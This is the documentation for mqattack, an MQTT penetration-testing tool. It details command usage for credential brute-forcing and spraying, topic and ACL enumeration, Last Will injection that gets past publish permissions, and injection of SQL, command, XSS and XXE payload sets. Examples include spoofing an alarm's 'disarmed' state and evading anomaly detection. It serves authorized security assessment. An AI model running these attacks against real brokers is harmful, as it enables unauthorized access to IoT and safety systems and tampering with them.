Introduction
mqattack is a command-line MQTT penetration testing tool written in Rust. It covers the full assessment lifecycle for MQTT brokers: from passive reconnaissance and fingerprinting through credential attacks, ACL enumeration and active payload injection.
What is MQTT?
MQTT (Message Queuing Telemetry Transport) is a lightweight publish/subscribe protocol widely used in IoT, industrial automation, home automation and telemetry systems. Brokers such as Mosquitto, HiveMQ, EMQX, VerneMQ, NanoMQ and RabbitMQ act as message hubs; clients publish messages to topics and subscribe to topic filters to receive them.
Because MQTT devices are often resource-constrained and deployed in trusted networks, brokers are commonly misconfigured:
- anonymous access enabled
- weak credentials accepted
- overly broad ACLs that allow any client to read or write any topic
What mqattack does
| Command | Category | Purpose |
|---|---|---|
subscribe | Recon | Listen to one or more topic filters |
publish | Interaction | Send a payload to a topic |
fingerprint | Recon | Identify broker software and version via $SYS |
sys-info | Recon | Collect all $SYS broker metadata |
check-acl | Enumeration | Probe subscribe/publish permissions per topic |
brute-auth | Attack | Brute-force or spray MQTT credentials |
enum-topics | Enumeration | Discover active topics via wordlist or brute-force |
enum-perms | Enumeration | Build a user * topic permission matrix |
will-inject | Attack | Register a crafted Last Will to inject messages on disconnect |
payload-inject | Attack | Publish built-in or custom injection payloads to a topic |
Supported brokers
mqattack has been tested against:
- Eclipse Mosquitto
- HiveMQ
- NanoMQ
- RabbitMQ (with MQTT plugin)
- Home Assistant (with Mosquitto broker Add-ons)
Any MQTT 3.1.1-compliant broker should work. MQTT 5 extensions are not required.
Scope and responsible use
mqattack is intended for authorized security assessments. Penetration tests, CTF challenges, lab environments and research on infrastructure you own or have explicit permission to test. Running it against systems without authorization is illegal and unethical.
License
mqattack is released under the MIT License. See LICENSE.
Installation
Requirements
| Requirement | Minimum version |
|---|---|
| Rust toolchain | 1.80 |
C compiler (gcc / clang) | any recent |
| OpenSSL development headers | 1.1 / 3.x |
pkg-config | any |
From source (without Nix)
git clone https://github.com/affolter-engineering/mqattack.git
cd mqattack
cargo build --release
The compiled binary is placed at target/release/mqattack.
Copy it to a location on your $PATH:
install -m 755 target/release/mqattack ~/.local/bin/
From source (with Nix)
A shell.nix is provided that pins all build dependencies:
nix-shell
cargo build --release
Nixpkgs
For Nix and NixOS users, mqattack is packaged in nixpkgs. The latest releases
may only be present in the unstable channel.
nix-env -iA nixos.mqattack
Or declaratively in configuration.nix:
environment.systemPackages = [ pkgs.mqattack ];
Verify the installation
mqattack --version
mqattack --help
Connection & Authentication
Every mqattack command shares the same set of connection, authentication, and TLS options. These flags can be combined freely with any subcommand.
Connection options
| Flag | Default | Description |
|---|---|---|
-H, --host <HOST> | localhost | Broker hostname or IP address |
-p, --port <PORT> | 1883 | Broker port |
--client-id <ID> | mqattack | MQTT client identifier |
--keepalive <SECS> | 60 | Keep-alive interval in seconds |
Authentication options
| Flag | Description |
|---|---|
-u, --username <USER> | Username |
-P, --password <PASS> | Password (mutually exclusive with --jwt) |
--jwt <TOKEN> | JWT token sent as the MQTT password field |
--jwt and --password are mutually exclusive.
TLS options
| Flag | Description |
|---|---|
--tls | Enable TLS using the system root CA store |
--cafile <PATH> | Custom CA certificate in PEM format (implies --tls) |
--cert <PATH> | Client certificate for mTLS in PEM format (requires --key) |
--key <PATH> | Client private key for mTLS in PEM format (requires --cert) |
--insecure | Disable certificate verification - for lab use only |
Authentication scenarios
Anonymous access
mqattack subscribe -H 192.168.1.10 -t '#'
Username and password
mqattack subscribe -H 192.168.1.10 -u admin -P secret -t '#'
JWT token
mqattack subscribe -H broker.example.com -p 8883 --tls \
--jwt 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...' -t '#'
TLS scenarios
System root CAs (public broker)
mqattack subscribe --tls -H broker.example.com -p 8883 -t '#'
Custom CA (self-signed or private PKI)
mqattack subscribe --cafile /path/to/ca.crt \
-H broker.example.com -p 8883 -t '#'
Mutual TLS (mTLS)
The broker requires a client certificate in addition to verifying the server.
mqattack subscribe \
--cafile ca.crt \
--cert client.crt \
--key client.key \
-H broker.example.com -p 8883 -t '#'
The private key may be in PKCS#1, PKCS#8, or SEC1 (EC) format.
Skip certificate verification
Useful for development environments with self-signed certificates where you do not have the CA file.
mqattack subscribe --insecure -H 192.168.1.10 -p 8883 -t '#'
Warning:
--insecuredisables all certificate checks. Never use it against production systems.
Commands
mqattack provides ten subcommands grouped by purpose:
Reconnaissance
| Command | Description |
|---|---|
subscribe | Listen to one or more topic filters |
fingerprint | Identify broker software and version via $SYS |
sys-info | Collect all $SYS broker metadata |
Interaction
| Command | Description |
|---|---|
publish | Send a payload to a topic |
Enumeration
| Command | Description |
|---|---|
check-acl | Probe subscribe/publish permissions per topic |
enum-topics | Discover active topics via wordlist or brute-force |
enum-perms | Build a user × topic permission matrix |
Attacks
| Command | Description |
|---|---|
brute-auth | Brute-force or spray MQTT credentials |
will-inject | Register a crafted Last Will to inject messages on disconnect |
payload-inject | Publish built-in or custom injection payloads |
All commands accept the common connection and authentication flags.
subscribe
Listen to one or more MQTT topic filters and print received messages.
Synopsis
mqattack subscribe [OPTIONS] -t <TOPIC>...
Options
| Flag | Default | Description |
|---|---|---|
-t, --topic <TOPIC> | (required) | Topic filter, repeatable |
-q, --qos <QOS> | 0 | QoS level: 0, 1, or 2 |
-C, --count <N> | (unlimited) | Exit after receiving N messages |
--hex | off | Print payload bytes as hexadecimal |
Multiple -t flags can be combined to subscribe to several filters in one
connection.
Output format
Each received message is printed on one line:
[2026-10-25 14:32:01] home/sensors/temp -> 22.4
With --hex:
[2026-10-25 14:32:01] home/sensors/temp -> 32 32 2e 34
Examples
Subscribe to all topics
mqattack subscribe -H 192.168.1.10 -t '#'
Multiple topic filters, exit after 5 messages
mqattack subscribe -H 192.168.1.10 -t 'home/#' -t 'sensors/#' -C 5
Authenticated subscription
mqattack subscribe -H 192.168.1.10 -u admin -P secret -t '#'
TLS with system root CAs
mqattack subscribe --tls -H broker.example.com -p 8883 -t '#'
TLS with a custom CA
mqattack subscribe --cafile ca.crt -H broker.example.com -p 8883 -t '#'
mTLS (client certificate)
mqattack subscribe \
--cafile ca.crt --cert client.crt --key client.key \
-H broker.example.com -p 8883 -t '#'
JWT authentication over TLS
mqattack subscribe --tls --jwt 'eyJhbGci...' \
-H broker.example.com -p 8883 -t '#'
Inspect binary payloads as hex
mqattack subscribe -H 192.168.1.10 -t 'device/raw' --hex
Capture a fixed number of messages for offline analysis
mqattack subscribe -H 192.168.1.10 -t '#' -C 100 > capture.txt
publish
Send a single payload to an MQTT topic.
Synopsis
mqattack publish [OPTIONS] -t <TOPIC> -m <MESSAGE>
Options
| Flag | Default | Description |
|---|---|---|
-t, --topic <TOPIC> | (required) | Target topic |
-m, --message <MSG> | (required) | Payload; pass - to read from stdin |
-q, --qos <QOS> | 0 | QoS level: 0, 1 or 2 |
-r, --retain | off | Set the MQTT retain flag |
When QoS 1 or 2 is used, mqattack waits for the broker acknowledgement
(PubAck / PubComp) before disconnecting.
Passing -m - reads the payload from standard input, allowing one to pipe
arbitrary data directly into a topic.
Examples
Publish a simple message
mqattack publish -H 192.168.1.10 -t test/topic -m 'hello'
QoS 1 with retain flag
mqattack publish -H 192.168.1.10 -t alerts/door -m 'open' -q 1 -r
Pipe a JSON payload from stdin
echo '{"cmd":"reboot"}' | mqattack publish -H 192.168.1.10 -t device/1/cmd -m -
Pipe output of another command
sensor-read | mqattack publish -H 192.168.1.10 -t sensors/temp -m -
Publish over TLS with JWT
mqattack publish --tls --jwt 'eyJhbGci...' \
-H broker.example.com -p 8883 -t device/1/cmd -m 'reboot'
mTLS publish
mqattack publish \
--cafile ca.crt --cert client.crt --key client.key \
-H broker.example.com -p 8883 -t test -m 'hello'
Set a retained value (persists for future subscribers)
mqattack publish -H 192.168.1.10 -t config/timezone -m 'UTC' -r -q 1
Clear a retained message
Publish an empty payload with the retain flag to clear a retained message:
mqattack publish -H 192.168.1.10 -t config/timezone -m '' -r -q 1
fingerprint
Identify the broker software and version by subscribing to $SYS/# and
analyzing the collected messages. No packets beyond a standard SUBSCRIBE are
sent. The broker reveals itself through what it publishes.
Synopsis
mqattack fingerprint [OPTIONS]
Options
| Flag | Default | Description |
|---|---|---|
-w, --wait <SECS> | 5 | Collection window in seconds |
--verbose | off | Print all collected $SYS messages after the summary |
Recognized brokers
| Broker | Detection signal |
|---|---|
| Mosquitto | $SYS/broker/version starts with mosquitto version |
| HiveMQ | $SYS/broker/version starts with HiveMQ |
| VerneMQ | $SYS/broker/version starts with VerneMQ |
| EMQX | Topics under $SYS/brokers/ (plural); node name extracted from path |
| NanoMQ | Topics under $SYS/nanomq/ namespace |
| RabbitMQ | $SYS/broker/version contains rabbitmq |
Confidence levels:
- high: a known broker signature matched
- low:
$SYS/broker/versionis present but does not match any known broker - unknown:
$SYSis accessible but yields no identifying information
Example output
[+] Broker Fingerprint
Software: Mosquitto
Version: 2.0.18
Confidence: high
Build info: With OpenSSL 3.0.2 15 Mar 2022
Uptime: 12345 seconds
Clients connected: 3
Clients total: 47
Messages received: 1082
Messages sent: 2341
[*] 47 $SYS message(s) collected (use --verbose to see all)
Examples
Fingerprint a local broker
mqattack fingerprint -H 192.168.1.10
Longer collection window for slow brokers
Some brokers only publish $SYS statistics at a low frequency. Increase the
wait window if the first attempt returns unknown.
mqattack fingerprint -H 192.168.1.10 -w 10
Dump all collected $SYS messages
mqattack fingerprint -H 192.168.1.10 -w 10 --verbose
Fingerprint over TLS with credentials
mqattack fingerprint --cafile ca.crt \
-H broker.example.com -p 8883 -u admin -P secret
Fingerprint with insecure TLS (self-signed cert)
mqattack fingerprint --insecure -H 192.168.1.10 -p 8883
Notes
- If
$SYSis disabled on the broker, fingerprinting will returnunknownregardless of the wait window. - EMQX clusters publish
$SYS/brokers/<node>/paths; the node name is extracted automatically from the topic hierarchy. - The
--verboseflag is useful for discovering broker-specific$SYSpaths that are not part of the standard specification.
sys-info
Collect and display all $SYS broker metadata. Unlike fingerprint, which
produces a summary focused on identification, sys-info shows the raw $SYS
topic tree in a readable grouped format.
Synopsis
mqattack sys-info [OPTIONS]
Options
| Flag | Default | Description |
|---|---|---|
-w, --wait <SECS> | 5 | Collection window in seconds |
--live | off | Stream messages as received instead of showing a grouped summary |
Output format
Default (summary mode): Topics are grouped by their first three path
segments and printed as a table. For example, all topics under
$SYS/broker/clients/ are shown together.
Live mode: Each message is printed as it arrives:
$SYS/broker/clients/connected 3
$SYS/broker/clients/total 47
$SYS/broker/messages/received 1082
Examples
Collect for 5 seconds, print grouped summary
mqattack sys-info -H 192.168.1.10
Longer collection window
mqattack sys-info -H 192.168.1.10 -w 15
Live stream
mqattack sys-info -H 192.168.1.10 --live
sys-info over TLS
mqattack sys-info --tls -H broker.example.com -p 8883 -w 15
Save all $SYS data to a file
mqattack sys-info -H 192.168.1.10 --live > sys-dump.txt
Notes
$SYSaccess is typically restricted to privileged users on production brokers. A successful collection indicates a misconfiguration.- The
livemode is useful when you want to watch how statistics change over time (e.g., observing connected client counts during a brute-force run).
check-acl
Probe subscribe and/or publish permissions for one topic or a list of topics. Each test opens a fresh connection to the broker and inspects the SubAck or PubAck returned.
Synopsis
mqattack check-acl [OPTIONS] (-t <TOPIC> | -w <FILE>)
Options
| Flag | Default | Description |
|---|---|---|
-t, --topic <TOPIC> | - | Single topic to probe (exclusive with -w) |
-w, --wordlist <FILE> | - | File with one topic per line (exclusive with -t) |
--no-subscribe | off | Skip subscribe permission tests |
--no-publish | off | Skip publish permission tests |
--payload <TEXT> | mqattack | Payload used for publish probes |
-q, --qos <QOS> | 1 | QoS for publish probes (1 or 2) |
--wait <SECS> | 5 | Seconds to wait for a broker response per test |
Result codes
| Result | Meaning |
|---|---|
ALLOWED | Broker acknowledged with a success code |
DENIED | Explicit denial or broker disconnected after publish |
INCONCLUSIVE | No clear response received (QoS 0 publish, timeout) |
SKIPPED | Test was not performed (e.g. --no-publish) |
Publish probes require QoS 1 or 2 to receive an acknowledgement.
QoS 0 always yields INCONCLUSIVE for publish tests because there is no
broker acknowledgement at that QoS level.
Wordlist format
The wordlist file contains one topic per line. Blank lines and lines starting
with # are ignored.
# topics.txt
home/lights/living-room
home/lights/bedroom
sensors/temperature
sensors/humidity
device/+/cmd
Examples
Test a single topic (subscribe and publish)
mqattack check-acl -H 192.168.1.10 -u admin -P secret -t 'home/lights/1'
Test all topics from a wordlist, subscribe only
mqattack check-acl -H 192.168.1.10 -w topics.txt --no-publish
Test publish permissions only with QoS 2
mqattack check-acl -H 192.168.1.10 -t 'cmd/device/1' --no-subscribe -q 2
Check ACL over TLS with a custom CA
mqattack check-acl --cafile ca.crt \
-H broker.example.com -p 8883 -w topics.txt
Custom payload and longer wait window
Some brokers or network paths are slow. Increase --wait to avoid false
INCONCLUSIVE results.
mqattack check-acl -H 192.168.1.10 -t 'sensor/temp' \
--payload 'test-payload' --wait 10
Feed results into further analysis
mqattack check-acl -H 192.168.1.10 -w topics.txt \
| grep ALLOWED | awk '{print $1}' > writable-topics.txt
brute-auth
Test username/password combinations against the broker. The broker’s ConnAck
return code (BadUserNamePassword, NotAuthorized or success) determines
whether a credential pair is valid.
Synopsis
mqattack brute-auth [OPTIONS]
Options
| Flag | Default | Description |
|---|---|---|
-c, --credentials <FILE> | - | Credential pairs file (username:password per line) |
-u, --username <USER> | - | Single username for dictionary attack |
-U, --user-list <FILE> | - | Username wordlist |
-W, --pass-list <FILE> | - | Password wordlist |
-P, --password <PASS> | - | Single password for spray attack |
--try-anonymous | off | Test anonymous (no-credentials) access first |
--stop-on-success | off | Stop after the first successful login |
--delay <MS> | 0 | Milliseconds between attempts |
--timeout <SECS> | 5 | Seconds to wait per attempt |
--force | off | Override the cross-product safety cap (10000 attempts) |
Attack modes
| Mode | Required flags | Use case |
|---|---|---|
| Credential pairs | -c FILE | Test a pre-built username:password list |
| Single-user brute-force | -u USER -W FILE | Dictionary attack on one account |
| Password spray | -U FILE -P PASS | One password against many users |
| Cross-product | -U FILE -W FILE | All combinations (capped at 10000) |
Credential pairs file format
One username:password pair per line. The first colon is the separator,
so passwords may contain additional colons. Blank lines and lines starting
with # are ignored. A line with no colon is treated as a username with an
empty password.
# credentials.txt
admin:admin
admin:password
guest:
service:pass:word:with:colons
Examples
Anonymous access probe, then credential list
mqattack brute-auth -H 192.168.1.10 \
--try-anonymous -c credentials.txt --stop-on-success
Dictionary attack on a single account
mqattack brute-auth -H 192.168.1.10 \
-u admin -W /usr/share/wordlists/rockyou.txt
Password spray with rate limiting
Using --delay to space attempts and avoid triggering account lockouts.
mqattack brute-auth -H 192.168.1.10 \
-U users.txt -P 'Mqtt@2024' --delay 500
Full cross-product over TLS
mqattack brute-auth --cafile ca.crt \
-H broker.example.com -p 8883 \
-U users.txt -W passwords.txt
Cross-product exceeding the safety cap
mqattack brute-auth -H 192.168.1.10 \
-U users.txt -W large-passwords.txt --force
Stop on first success, pipe valid credentials to enum-perms
mqattack brute-auth -H 192.168.1.10 -c credentials.txt --stop-on-success \
| grep 'SUCCESS' | awk '{print $2}' > valid.txt
mqattack enum-perms -H 192.168.1.10 -c valid.txt -w topics.txt
Notes
- The cross-product mode (
-U FILE -W FILE) is capped at 10,000 attempts by default to prevent accidental denial-of-service conditions. Use--forceto remove the cap. - Add
--delaywhen testing production systems or when the broker enforces rate limits or temporary bans. --try-anonymousis always the first check, regardless of other flags.
enum-topics
Discover active MQTT topics on the broker by subscribing to candidate topic strings in batches and observing which ones deliver messages.
Synopsis
mqattack enum-topics [OPTIONS] (-w <FILE> | --brute)
Options
| Flag | Default | Description |
|---|---|---|
-w, --wordlist <FILE> | - | File with candidate topics, one per line |
--brute | off | Generate candidates via character permutations |
--prefix <PREFIX> | - | Prepend a fixed path segment before generated words |
--max-length <N> | 4 | Maximum generated word length |
--depth <N> | 1 | Number of generated levels (e.g., 2 -> prefix/word/word) |
--charset <CHARS> | a-z0-9_- | Characters to use in brute-force generation |
-b, --batch-size <N> | 200 | Subscriptions per batch |
-t, --timeout <SECS> | 3 | Seconds to listen per batch |
-q, --qos <QOS> | 0 | QoS level for subscriptions |
--force | off | Override the 100000 candidate safety cap |
How it works
Candidates are subscribed to in batches. After each batch mqattack waits
--timeout seconds for any retained or live messages to arrive. Topics that
return messages are reported as found.
Because only topics with current retained messages or active publishers are discoverable, the results are a lower bound. Topics exist but may simply be idle.
Examples
Wordlist enumeration
mqattack enum-topics -H 192.168.1.10 -w mqtt-topics.txt
Brute-force single-level topics under a prefix
mqattack enum-topics -H 192.168.1.10 --brute --prefix home --max-length 4
Two-level brute-force (home/word/word)
mqattack enum-topics -H 192.168.1.10 --brute --prefix home --depth 2 --timeout 10
Custom charset (lowercase letters only)
mqattack enum-topics -H 192.168.1.10 --brute --prefix device \
--charset abcdefghijklmnopqrstuvwxyz --max-length 6
Authenticated enumeration
mqattack enum-topics -H 192.168.1.10 -u admin -P secret -w topics.txt
Larger batches for faster scanning
mqattack enum-topics -H 192.168.1.10 -w large-wordlist.txt --batch-size 500
Override the candidate safety cap
mqattack enum-topics -H 192.168.1.10 --brute --max-length 5 --force
Notes
- The safety cap (100000 candidates) exists to prevent accidental memory
exhaustion. Use
--forceonly after estimating the candidate count. - Brute-force generation grows exponentially with
--max-lengthand--depth. Check the estimate printed before generation starts. - Press Ctrl+C to abort an in-progress scan. Topics discovered so far are still reported.
enum-perms
Build a user * topic permission matrix by testing subscribe and publish permissions for every combination of credential and topic.
Synopsis
mqattack enum-perms [OPTIONS] -c <FILE> (-t <TOPIC> | -w <FILE>)
Options
| Flag | Default | Description |
|---|---|---|
-c, --credentials <FILE> | (required) | Credential pairs file (username:password per line) |
-t, --topic <TOPIC> | - | Single topic to test (exclusive with -w) |
-w, --wordlist <FILE> | - | File with one topic per line (exclusive with -t) |
The credentials file uses the same format as brute-auth: one
username:password pair per line, first colon as separator, blank lines and
# comments ignored.
Output format
Results are displayed as a matrix. Each cell shows S/P where:
Sis the subscribe result:+(allowed),-(denied),?(inconclusive)Pis the publish result:+(allowed),-(denied),?(inconclusive)
Topic admin sensor01 guest
home/lights/living +/+ -/+ -/-
home/lights/bedroom +/+ -/+ -/-
sensors/temperature +/+ +/+ ?/?
sensors/humidity +/+ +/+ ?/?
device/1/cmd +/+ -/- -/-
Examples
Test one topic against all users in a credential file
mqattack enum-perms -H 192.168.1.10 -c valid-creds.txt -t 'sensors/temperature'
Full matrix: multiple users × topic wordlist
mqattack enum-perms -H 192.168.1.10 -c valid-creds.txt -w topics.txt
Pipe valid credentials from brute-auth directly into enum-perms
mqattack brute-auth -H 192.168.1.10 -c candidates.txt \
| grep 'SUCCESS' | awk '{print $2}' > valid.txt
mqattack enum-perms -H 192.168.1.10 -c valid.txt -w topics.txt
enum-perms over TLS
mqattack enum-perms --cafile ca.crt \
-H broker.example.com -p 8883 -c creds.txt -w topics.txt
Notes
- Each user-topic pair requires two connections (subscribe and publish), so
runtime scales with
users x topics x 2. - Publish results use QoS 1 internally. QoS 0 would always yield
?. - The matrix provides a quick overview of ACL policy. Use
check-aclfor a single-user deep-dive with more control over timeouts and payloads.
will-inject
Register a crafted Last Will and Testament (LWT) in the CONNECT packet, hold the connection open, then close the TCP socket without sending DISCONNECT. The broker sees an ungraceful disconnect and publishes the will payload on the target topic.
Synopsis
mqattack will-inject [OPTIONS] -t <TOPIC>
Options
| Flag | Default | Description |
|---|---|---|
-t, --topic <TOPIC> | (required) | Topic the broker publishes the will to on disconnect |
-m, --message <MSG> | mqattack-will | Will payload |
-q, --qos <QOS> | 1 | QoS for the will message (0, 1 or 2) |
-r, --retain | off | Persist the will as a retained message |
--hold <SECS> | 2 | Seconds to stay connected before triggering |
--monitor <TOPIC> | - | Subscribe on a second connection to capture the delivery |
--monitor-wait <SECS> | 5 | Seconds to listen after disconnect |
How it works
- A second “monitor” connection is opened first (if
--monitoris set). - The main connection is established with the crafted LWT in the CONNECT packet.
- The broker confirms the connection via ConnAck.
- The client holds the connection open for
--holdseconds. - The TCP socket is closed without sending a DISCONNECT frame.
- The broker treats this as an ungraceful disconnect and publishes the will.
- The monitor connection captures and prints the delivered message.
Why this matters
The LWT is registered by the connecting client, but the broker performs the publish. This means:
- The will delivery bypasses per-client publish ACLs.
- With
--retain, the injected message persists until explicitly cleared. - Downstream automation that reacts to topic changes can be triggered without the attacker holding a direct publish permission.
Examples
Inject a retained “disarmed” state into an alarm topic
mqattack will-inject -H 192.168.1.10 \
-t home/alarm/status -m 'disarmed' -r
Inject a command payload and verify delivery
mqattack will-inject -H 192.168.1.10 \
-t device/42/cmd -m '{"action":"reboot"}' -q 1 \
--monitor device/42/cmd --monitor-wait 10
Blend in as a long-lived client before triggering
Simulate a legitimate sensor client that has been connected for a while before the “crash”:
mqattack will-inject -H 192.168.1.10 \
-t sensors/temperature -m '999.9' --hold 60 --retain
Will injection over TLS with credentials
mqattack will-inject --cafile ca.crt \
-H broker.example.com -p 8883 \
-u sensor01 -P secret \
-t sensors/temp -m '-99' -r
Spoof a device offline event
mqattack will-inject -H 192.168.1.10 \
-t devices/gateway/status -m 'offline' -r -q 1 \
--monitor devices/gateway/status
Notes
--hold 0triggers the disconnect immediately after ConnAck; use a longer value to stay below anomaly detection thresholds.- Monitoring on a different topic than the will topic is valid - useful when the downstream subscriber reacts by publishing to another topic.
- Will injection requires the broker to accept the CONNECT packet; valid credentials (or anonymous access) are required.
payload-inject
Publish built-in injection payloads or a custom wordlist to a topic and optionally monitor a second topic for responses.
Synopsis
mqattack payload-inject [OPTIONS] -t <TOPIC>
Options
| Flag | Default | Description |
|---|---|---|
-t, --topic <TOPIC> | (required) | Target topic |
--set <SET> | - | Built-in payload set, repeatable (see table below) |
-w, --wordlist <FILE> | - | Custom payload file (one payload per line) |
-q, --qos <QOS> | 0 | QoS level: 0, 1, or 2 |
-r, --retain | off | Set the retain flag on each published payload |
--delay <MS> | 100 | Milliseconds between payloads |
--monitor <TOPIC> | - | Subscribe on a second connection to capture responses |
--monitor-wait <SECS> | 5 | Seconds to listen after the last payload |
Built-in payload sets
| Set | Count | Contents |
|---|---|---|
sql | 13 | Classic, union, time-based, and error-based SQL injection |
cmd | 15 | Shell operators (;, |, &&), command substitution, cloud metadata endpoint |
xss | 11 | Script tags, event handlers, template expressions ({{7*7}}, ${7*7}) |
fmt | 11 | Format string specifiers (%x, %s, %n) and Python object inspection |
xxe | 5 | XML external entity file inclusion (/etc/passwd, Windows paths, XInclude) |
json | 10 | NoSQL injection, prototype pollution, deeply nested structures |
mqtt | 11 | Empty payload, null bytes, CRLF injection, wildcards, path traversal, malformed UTF-8, large payloads (1 KB, 64 KB) |
all | 76 | All of the above combined |
Multiple --set flags can be combined; duplicates are deduplicated
automatically.
Examples
SQL injection probes
mqattack payload-inject -H 192.168.1.10 -t 'device/cmd' --set sql
Combined SQL and command injection with response capture
mqattack payload-inject -H 192.168.1.10 \
-t 'device/cmd' --set sql --set cmd \
--monitor 'device/response' --monitor-wait 10
All built-in payloads, slower delivery
mqattack payload-inject -H 192.168.1.10 \
-t 'app/input' --set all --delay 500
Custom payload wordlist
mqattack payload-inject -H 192.168.1.10 \
-t 'device/cmd' -w my-payloads.txt
Combined built-in and custom payloads
mqattack payload-inject -H 192.168.1.10 \
-t 'device/cmd' --set sql -w extra-sqli.txt
MQTT-specific fault injection (null bytes, oversized messages)
mqattack payload-inject -H 192.168.1.10 \
-t 'app/data' --set mqtt --monitor 'app/data'
Retain payloads so they persist for future subscribers
mqattack payload-inject -H 192.168.1.10 \
-t 'config/value' --set json -r -q 1
Injection over TLS with credentials
mqattack payload-inject --cafile ca.crt \
-H broker.example.com -p 8883 -u writer -P secret \
-t 'app/input' --set all
Notes
- The monitor connection listens on a separate MQTT client; it can capture any topic including the target topic itself.
--delay 0sends payloads back-to-back. Increase it if the broker or the downstream application needs time to process each message.- QoS 0 (
--qos 0) gives maximum throughput; QoS 1 or 2 ensures each payload is acknowledged before the next is sent. --set allsends 76 payloads; budget76 × delaymilliseconds plus monitor wait time for the full run.
Workflows
This chapter shows how to chain mqattack commands together for common assessment scenarios.
1. Initial broker reconnaissance
Start every engagement with passive fingerprinting and metadata collection.
# Identify the broker
mqattack fingerprint -H 192.168.1.10 -w 10
# Collect all $SYS statistics
mqattack sys-info -H 192.168.1.10 -w 15
# Listen on all topics for 60 seconds to observe live traffic
mqattack subscribe -H 192.168.1.10 -t '#' -C 200
The $SYS tree reveals uptime, connected client counts, message throughput,
and sometimes build information - all without any active attack.
2. Anonymous access probe
Check whether the broker accepts unauthenticated connections before attempting any brute-force.
mqattack brute-auth -H 192.168.1.10 --try-anonymous
If anonymous access is confirmed, run ACL checks immediately:
mqattack check-acl -H 192.168.1.10 -w topics.txt
3. Credential brute-force -> permission mapping
Find valid credentials, then map what each account can access.
# Step 1: brute-force with a credential list, stop on first hit
mqattack brute-auth -H 192.168.1.10 \
--try-anonymous -c credentials.txt --stop-on-success
# Step 2: collect all successful credentials into a file
mqattack brute-auth -H 192.168.1.10 -c credentials.txt \
| grep 'SUCCESS' | awk '{print $2}' > valid.txt
# Step 3: build the user × topic permission matrix
mqattack enum-perms -H 192.168.1.10 -c valid.txt -w topics.txt
4. Topic discovery -> ACL check
Discover which topics are active, then probe permissions on found topics.
# Step 1: discover topics with a wordlist
mqattack enum-topics -H 192.168.1.10 -w mqtt-topics.txt \
| grep 'FOUND' | awk '{print $2}' > active-topics.txt
# Step 2: check ACL for each found topic
mqattack check-acl -H 192.168.1.10 -u admin -P secret \
-w active-topics.txt
5. Last Will injection to bypass ACLs
When direct publish is denied but you want to inject a message into a topic:
# Confirm you cannot publish directly
mqattack check-acl -H 192.168.1.10 -u limited-user -P pass \
-t 'home/alarm/status' --no-subscribe -q 1
# Inject via LWT (broker delivers on your behalf)
mqattack will-inject -H 192.168.1.10 -u limited-user -P pass \
-t home/alarm/status -m 'disarmed' -r \
--monitor home/alarm/status --monitor-wait 10
6. Injection payload testing with response capture
Test whether a subscribing application or backend processes MQTT messages insecurely.
# Publish SQL and command injection payloads, capture any response
mqattack payload-inject -H 192.168.1.10 \
-t device/input --set sql --set cmd \
--monitor device/output --monitor-wait 15
# Follow up with MQTT-specific fault payloads
mqattack payload-inject -H 192.168.1.10 \
-t device/input --set mqtt --monitor device/output
7. Full assessment pipeline
A complete assessment of a target broker in sequence:
TARGET=192.168.1.10
# 1. Fingerprint
mqattack fingerprint -H $TARGET -w 10 --verbose
# 2. Check anonymous access and collect topics
mqattack brute-auth -H $TARGET --try-anonymous
mqattack subscribe -H $TARGET -t '#' -C 50 | awk '{print $2}' | sort -u > found-topics.txt
# 3. Brute-force credentials
mqattack brute-auth -H $TARGET -c credentials.txt \
| grep 'SUCCESS' | awk '{print $2}' > valid.txt
# 4. Map permissions for all valid users
mqattack enum-perms -H $TARGET -c valid.txt -w found-topics.txt
# 5. Test injection on writable topics
while IFS= read -r topic; do
mqattack payload-inject -H $TARGET -t "$topic" --set all --delay 200
done < writable-topics.txt
8. TLS assessment
Verify that certificate validation is enforced:
# Should fail - do not skip verification
mqattack fingerprint -H broker.example.com -p 8883 --tls
# Does the broker accept connections without a valid cert?
mqattack fingerprint -H broker.example.com -p 8883 --insecure
# mTLS: does the broker require a client certificate?
mqattack fingerprint --cafile ca.crt -H broker.example.com -p 8883
# vs.
mqattack fingerprint --cafile ca.crt --cert client.crt --key client.key \
-H broker.example.com -p 8883
Development
Repository layout
mqattack/
├── Cargo.toml # Package metadata and dependencies
├── Cargo.lock # Locked dependency versions
├── shell.nix # Nix development environment
├── book.toml # mdBook configuration
├── src/
│ ├── main.rs # CLI entry point and subcommand router
│ ├── mqtt/
│ │ ├── mod.rs
│ │ └── client.rs # Connection options, TLS setup, event loop
│ └── commands/
│ ├── mod.rs
│ ├── subscribe.rs
│ ├── publish.rs
│ ├── fingerprint.rs
│ ├── sys_info.rs
│ ├── check_acl.rs
│ ├── brute_auth.rs
│ ├── enum_topics.rs
│ ├── enum_perms.rs
│ ├── will_inject.rs
│ └── payload_inject.rs
└── docs/
└── src/ # mdBook source (this documentation)
Dependencies
| Crate | Purpose |
|---|---|
rumqttc | Async MQTT 3.1.1 client |
clap | CLI argument parsing (derive macros) |
tokio | Async runtime |
anyhow | Error handling with context |
chrono | Timestamp formatting |
hex | Hexadecimal encoding for binary payloads |
rustls | TLS implementation |
rustls-pemfile | PEM certificate and key parsing |
rustls-native-certs | System root CA loading |
Setting up a development environment
With Nix
nix-shell # activates rustc, cargo, clippy, rustfmt, gcc, pkg-config, openssl
cargo build
Without Nix
Install the Rust toolchain (1.80+), a C compiler, and OpenSSL development headers, then:
cargo build
Building
# Debug build (faster compile, slower binary)
cargo build
# Release build
cargo build --release
Running tests
cargo test
All tests are unit tests embedded in their respective modules with
#[cfg(test)] blocks. There are no external dependencies or network calls
in the test suite.
Linting and formatting
cargo clippy -- -D warnings
cargo fmt --check
Code style
The project follows standard Rust idioms:
- Async/await with
tokiothroughout anyhow::Resultfor error propagationclapderive macros for all CLI structs- Each command lives in its own module under
src/commands/ - Shared connection logic lives in
src/mqtt/client.rs
Adding a new command
- Create
src/commands/my_command.rswith apub async fn run(...)entry point that accepts the sharedConnectionArgsand any command-specific args. - Add the module to
src/commands/mod.rs. - Define a clap
Argsstruct in your new module. - Add the subcommand variant to the
Commandsenum insrc/main.rs. - Route it in the
matchblock inmain.
Local broker for testing
The quickest way to spin up a test broker is with Docker:
docker run -it --rm -p 1883:1883 eclipse-mosquitto
For a broker with authentication:
# Create a password file
docker run --rm eclipse-mosquitto \
mosquitto_passwd -c -b /tmp/passwd testuser testpass
docker run -it --rm -p 1883:1883 \
-v /tmp/passwd:/mosquitto/config/passwd \
eclipse-mosquitto mosquitto -c /mosquitto/config/mosquitto.conf
Building the documentation
This documentation is built with mdBook.
# Install mdBook
cargo install mdbook
